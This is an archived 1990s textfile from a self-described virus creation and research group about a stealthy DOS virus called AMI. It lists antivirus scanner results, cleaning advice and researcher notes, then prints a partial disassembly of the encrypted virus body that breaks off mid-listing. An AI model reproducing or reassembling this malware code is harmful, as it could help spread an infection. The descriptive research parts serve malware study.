💾 Archived View for spam.works › mirrors › textfiles › virus › avcr-01.005 captured on 2023-11-04 at 15:59:44.
⬅️ Previous capture (2023-06-16)
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Distributed By Amateur Virus Creation & Research Group (AVCR)
Researched By MAS
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Name: The AMI Virus
?????????????????????????????????????????????????????????????????????????????
Alias: NONE
?????????????????????????????????????????????????????????????????????????????
Type of Code: Unknown, but probably memory resident.
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Antivirus Detection:
(1)
ThunderByte Anti Virus (TBAV) reported AMI.COM as: "probably infected by an
unknown virus.
No checksum / recovery information (Anti-Vir.Dat) available.
Suspicious file access. Might be able to infect a file.
Suspicious Memory Allocation. The program uses a non-standard
way to search for, and/or allocate memory.
Found a code decryption routine or debugger trap. This is common
for viruses but also for some copy-protected software.
The program traps the loading of software. Might be a
virus that intercepts program load to infect the software.
Memory resident code. The program might stay resident in memory.
Garbage instructions. Contains code that seems to have no purpose
other than encryption or avoiding recognition by virus scanners.
Undocumented interrupt/DOS call. The program might be just tricky
but can also be a virus using a non-standard way to detect itself.
EXE/COM determination. The program tries to check whether a file
is a COM or EXE file. Viruses need to do this to infect a program.
Found code that can be used to overwrite/move a program in memory.
Found instructions which require a 80186 processor or above.
Encountered instructions which are not likely to be generated by
an assembler, but by some code generator like a polymorphic virus."
(2)
Frisk Software's F-Protect (F-PROT) reported AMI.COM as:
"C:\AMI\AMI.COM seems to be infected with a virus.
Please contact Frisk Software International to check if this is a known
false alarm or send us a copy for analysis."
(3)
McAfee Softwares Anti Virus (SCAN.EXE) did not detect the AMI virus.
(4)
MicroSoft Anti Virus (MSAV.EXE) did not detect the AMI virus.
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Execution Results:
This virus is very stealthy, for no files are changed in size date or
time stamp. Memory size does not change. The virus's size, date, and time
before execution were:
NAME SIZE DATE TIME
AMI.COM 1703 12-16-93 2:40p
And after execution they remained unchanged. The only noticible
difference between before execution and after execution is the change in
its code. Below is a comparison of the AMI virus before and after execution,
the top is before execution and the bottom is after execution.
_____________________________________________________________________________
; FILE CREATED BY FILE COMPARE,
; DEVELOPED BY:
; MICRO PROFESSOR SOFTWARE,
; ALONG WITH AMATEUR VIRUS CREATION & RESEARCH GROUP.
;----------------------------------------------------------------------------
mov SI,Word Ptr var1_100 ; [602D:0100] = 0
mov SI,Word Ptr var1_100 ; [6342:0100] = 0
;----------------------------------------------------------------------------
xor Word Ptr var1_100,SI ; [602D:0100] = 0
xor Word Ptr var1_100,SI ; [6342:0100] = 0
;----------------------------------------------------------------------------
add DL,Byte Ptr var1_2ee ; [602D:02EE] = 0F27Fh
add DL,Byte Ptr var1_2ee ; [6342:02EE] = 0F27Fh
;----------------------------------------------------------------------------
mov AL,Byte Ptr DS:data_8ee2; [602D:8EE2] = 0
mov AL,Byte Ptr DS:data_8ee2; [6342:8EE2] = 6399h
;----------------------------------------------------------------------------
mov AL,Byte Ptr DS:data_792e; [602D:792E] = 0
mov AL,Byte Ptr DS:data_792e; [6342:792E] = 69A9h
;----------------------------------------------------------------------------
sbb Byte Ptr DS:data_461f,BL; [602D:461F] = 0 Subtract with borrow
sbb Byte Ptr DS:data_461f,BL; [6342:461F] = 1A1Ah Subtract with borrow
;----------------------------------------------------------------------------
mov AX,Word Ptr DS:data_5f12; [602D:5F12] = 0
mov AX,Word Ptr DS:data_5f12; [6342:5F12] = 53F8h
;----------------------------------------------------------------------------
db 16h, 0A7h, 58h, 63h
db 16h, 0A7h
;----------------------------------------------------------------------------
CODE_SEG_1 ends
var1_7a5 db 58h, 63h
;----------------------------------------------------------------------------
CODE_SEG_1 ends
;----------------------------------------------------------------------------
end start
;----------------------------------------------------------------------------
end start
;----------------------------------------------------------------------------
; END OF FIRST FILE, EXTRA CODE IS FROM SECOND FILE
?????????????????????????????????????????????????????????????????????????????
Cleaning Recommendations:
Remove from memory and delete infected files.
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Researcher's Notes:
The AMI virus is very stealthy, for there are no ways, other than
a virus detector, to notice the virus. When the virus is first run there
is no way to realize that it has been run, for there is no character
displaying, speaker noise, etc.
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-----------------------------------------------------------------------------
Disassembly of the AMI Virus BEFORE Execution
-----------------------------------------------------------------------------
PAGE 60,132
data_10be = 10BEh
data_16d6 = 16D6h
data_2041 = 2041h
data_2b9f = 2B9Fh
data_2ee0 = 2EE0h
data_461f = 461Fh
data_50ee = 50EEh
data_5d91 = 5D91h
data_5f12 = 5F12h
data_681b = 681Bh
data_7162 = 7162h
data_732e = 732Eh
data_7606 = 7606h
data_792e = 792Eh
data_8ee2 = 8EE2h
data_a1ed = 0A1EDh
data_aea5 = 0AEA5h
data_b400 = 0B400h
data_d8db = 0D8DBh
data_ee10 = 0EE10h
data_eeb8 = 0EEB8h
data_faa6 = 0FAA6h
;?????????? CODE_SEG_1 ????????????????????????????????????????????????????????
CODE_SEG_1 segment para public
assume CS:CODE_SEG_1, DS:CODE_SEG_1, SS:CODE_SEG_1, ES:CODE_SEG_1
org 100h
;???????????????????????????????????????????????????????????????????????????????
;?
;? ENTRY POINT
;?
;???????????????????????????????????????????????????????????????????????????????
;???????????????????????????????????????????????????????????????????????????????
;?
;? PROCEDURE proc_start
;?
;???????????????????????????????????????????????????????????????????????????????
proc_start proc far
start: ; N-Ref=0
add Byte Ptr [BX+SI],AL
add DL,BH
nop ; No operation
nop ; No operation
call near ptr proc_2
proc_start endp
;???????????????????????????????????????????????????????????????????????????????
;?
;? PROCEDURE proc_2
;?
;???????????????????????????????????????????????????????????????????????????????
proc_2 proc far
pop BX
sub BX,offset var1_131
mov SI,Word Ptr var1_100 ; [602D:0100] = 0
xor Word Ptr var1_100,SI ; [602D:0100] = 0
lea DI,Word Ptr var1_14d[BX]; Load effective address
mov SI,682h
xor Word Ptr [DI],DI
xor Word Ptr [DI],SI
inc DI
dec SI
jne loc_notfound ; Jump if not equal ( != )
aaa ; ASCII adjust for addition
xor Byte Ptr [BP+DI+1Fh],CL
dw 50C0h, 0C951h
var1_12d db 'XPP'
db 8Dh
var1_131 db '`@@@'
db 13h, 0BFh, 40h, 0A0h, 4Ch, 53h
db 0C3h, 57h, 15h, 44h, 18h
var1_140 db '" '
db 0
var1_144 db 20h, 9, 3Ah, 0DBh, 7Eh, 79h
db 14h, 0CAh, 16h
var1_14d dw 1110h, 10h, 0E9h
db 5 dup (0)
dw 1810h
db 4 dup (10h)
db 32h, 11h, 3, 26h, 3
var1_163 db '& ! '
db 0Ch, 0BFh
db ']PPPPB@A@@TTTT'
db 0B8h, 50h, 50h, 0Bh, 0D1h, 0BBh
db 0F3h, 51h, 8Eh, 2Ch, 2Fh, 0F4h
db 0A1h, 8Eh, 29h, 27h, 0C6h, 91h
db 0BEh, 1Bh, 17h, 0C8h, 91h, 33h
db 80h, 81h, 0AEh, 0Ah, 7, 0DAh
db 81h, 22h, 92h, 91h, 0C3h, 24h
db 0A0h, 5Dh, 0B1h, 0CBh, 9Ch, 0A2h
db 0D2h, 0B1h, 18h, 5Fh, 0EBh, 93h
db 0AFh, 60h, 0A5h, 9Eh, 72h, 6Eh
db 1Bh, 7, 16h
var1_1b1 db '6L1U'
db 0B8h
var1_1b6 db ']D}'
db 0D8h, 0D4h, 5, 52h, 7Dh, 0ACh
db 0FCh
var1_1c0 db 71h, 22h, 70h
loc_1: ; N-Ref=0
wait ; Wait for interrupt
add DL,Byte Ptr var1_2ee ; [602D:02EE] = 0F27Fh
cbw ; Convert byte to word
ror Byte Ptr [BX+SI+3Dh],1 ; Rotate right
call far ptr proc_1
pop Word Ptr var1_260[SI]
mov BX,0FCF5h
and CH,AH
adc AX,9D0Dh ; ADD with carry
retf ; Return FAR
proc_2 endp
db 92h
var1_1df db '.bnV/'
db 0A2h
var1_1e5 db '^!j'
db 7Fh
var1_1e9 db '&VLT'
db 0B8h, 95h, 0C3h, 5Ch
loc_2: ; N-Ref=1
inc SP
rcl BX,CL ; Rotate left through carry
rcl BX,CL ; Rotate left through carry
rcl BX,CL ; Rotate left through carry
retn
db 5 dup (0C3h)
dw 28EBh, 2CA3h, 0ED6Dh, 652Eh
dw 2B8Eh, 86A6h, 0B690h, 0A619h
dw 9091h, 0BA6h, 8396h, 0A680h
dw 8323h, 0B690h, 9656h, 9090h
dw 0BBDDh, 0EA70h, 0A3E5h, 0E548h
dw 652Eh, 0E403h, 0DB00h, 9D8Dh
dw 0B71h, 0BF73h, 5746h, 0CD17h
dw 8EFFh, 0DB57h, 0E9A7h, 56F5h
dw 0A3ADh, 2684h, 0AFADh
var1_244 db 'P"q'
db 0EBh, 3Eh, 9Ch, 9Fh, 44h, 11h
db 9Dh, 9Fh, 3Ah, 1, 0F3h, 0A4h
db 2Eh, 8Ch, 0Eh, 36h, 0, 5Dh
db 9Eh, 0D5h, 36h, 99h, 6, 13h
db 10h
var1_260 dw 0E606h
var1_262 db '& z'
db 6, 0ACh
var1_268 db '^QP'
db 15h, 0DEh
loc_3: ; N-Ref=0
xchg BP,AX
dec SI
push DI
dec SI
pop DI
int 0F7h
dw 416Ah, 40FFh, 0E951h, 56F5h
dw 0A3ACh, 56F4h, 0A62Dh, 0A224h
dw 6BF0h, 678Eh, 0BC96h, 9090h
dw 0BE90h, 9E1Ch, 8096h, 0D9Eh
dw 9C96h, 8E83h, 288Fh, 0B5B1h
dw 0B15Dh, 248Fh, 1ABAh, 0A020h
dw 816Dh
var1_2a6 db 'HSQ'
db 0E5h, 7Bh, 9Ch, 70h, 0D0h, 0A8h
db 95h
var1_2b0 db 'F6$5k'
db 0C0h, 0B8h, 0FDh, 56h, 24h, 0Ch
db 4Fh, 0E9h, 79h, 64h, 9Ch, 0
db 0Fh, 0A8h, 3Fh, 1Ah, 20h, 0Fh
db 0ADh, 17h, 2Ch, 10h, 0A9h, 39h
db 34h, 0ABh, 33h, 6, 0Fh, 1Eh
db 0CCh, 20h, 1Eh, 2Fh, 81h, 1Fh
db 46h, 10h, 19h, 0FAh, 17h, 81h
db 91h, 0DFh, 2Bh, 53h, 15h, 0C9h
db 5Ch, 23h, 99h, 49h, 44h, 0B9h
db 0D5h, 50h, 11h
var1_2ee db 7Fh, 0F2h, 1Fh, 40h, 6Fh, 0E2h
var1_2f4 db '!@o'
db 86h
var1_2f8 db 'W5PPQ'
db 0E9h
var1_2fe db 'Mdl'
db 81h, 8Eh, 29h, 0BEh, 93h, 0A1h
db 8Eh, 1Ch, 96h, 0A5h, 91h, 8Eh
db 28h, 8Ch, 0B5h, 3Ah, 3Dh, 86h
db 8Eh, 9Fh, 4Dh, 0A1h, 9Fh
db '+Foy'
db 7, 6Eh, 10h, 6Ch, 0EBh, 0D4h
db 0B0h, 8Eh, 5Fh, 8Eh, 97h, 0A1h
db 0EFh, 18h, 4, 7Eh, 94h
var1_32d db 'VgQ'
db 0CCh, 8Ah, 8Fh, 7Ch, 0BFh, 34h
db 0B1h
var1_337 db '|P%'
db 0B8h, 0CCh, 0, 3, 1, 2
var1_340 db 'vwu&>'
db 0Eh, 0A9h, 36h, 57h, 11h, 3Eh
db 9Ch, 0Eh, 59h, 11h, 1Eh, 7
db 0B8h, 0, 3Dh, 0CDh
var1_355 db '!rV'
db 9Bh, 0C8h, 0A8h, 10h, 47h, 0DDh
db 31h, 3Eh, 0A9h
var1_361 db '6c!'
db 0Eh, 0A9h
var1_366 db '.eQ'
db 0E4h
loc_4: ; N-Ref=0
var1_36a db 'o^O'
db 0EAh, 7Eh, 51h, 0F9h, 43h, 40h
db 8Dh
var1_374 db 'a2w{'
db 91h, 25h, 63h, 0E8h, 52h, 12h
db 63h, 99h, 93h, 72h, 6Dh, 81h
db 8Eh, 3, 0EBh, 0A1h, 0BEh, 19h
db 86h, 0DDh, 91h, 24h, 0AEh, 5Dh
db 0A1h, 0AEh, 1, 0BEh, 0AEh, 81h
db 0CDh, 0DAh, 0E5h, 93h, 79h, 57h
db 90h, 0BEh, 13h, 0AEh, 0EDh, 0A1h
db 0A0h, 0D7h, 0A9h, 8Eh, 21h, 9Eh
db 1Bh, 56h, 6Ch, 0AEh, 21h, 54h
db 0BEh, 0E4h, 47h, 69h, 0C7h
var1_3b3 db 'yiF'
db 0AEh
var1_3b7 db 32h, 59h
loc_5: ; N-Ref=0
jns loc_notfound ; Jump if no sign ( >= 0)
sbb AL,56h ; 'V' Subtract with borrow
push DX
push CS
scasb ; Scan DS:SI for byte in AL
or Word Ptr [SI],BX
and Word Ptr [BX+SI],CX
dw 5326h, 9FC0h, 5417h, 0D239h
dw 5001h, 0DA16h, 7526h, 29DCh
dw 98Eh, 646h, 0E697h, 0E137h
dw 30D6h, 1E63h, 269Fh, 1464h
dw 0EAEEh, 5506h, 0EF92h, 6A55h
db 9Ah, 76h, 25h, 0E9h, 0CCh, 9Fh
db 0FFh
loc_6: ; N-Ref=1
inc BP
add AX,8E74h
je loc_notfound ; Jump if equal ( = )
call far ptr loc_notfound
and AL,4Fh ; 'O'
pop DS
mov AL,Byte Ptr DS:data_8ee2; [602D:8EE2] = 0
sub BP,Word Ptr [BP-5E13h]
mov SI,861Bh
esc Byte Ptr [BP+5D91h]
mov CL,24h ; '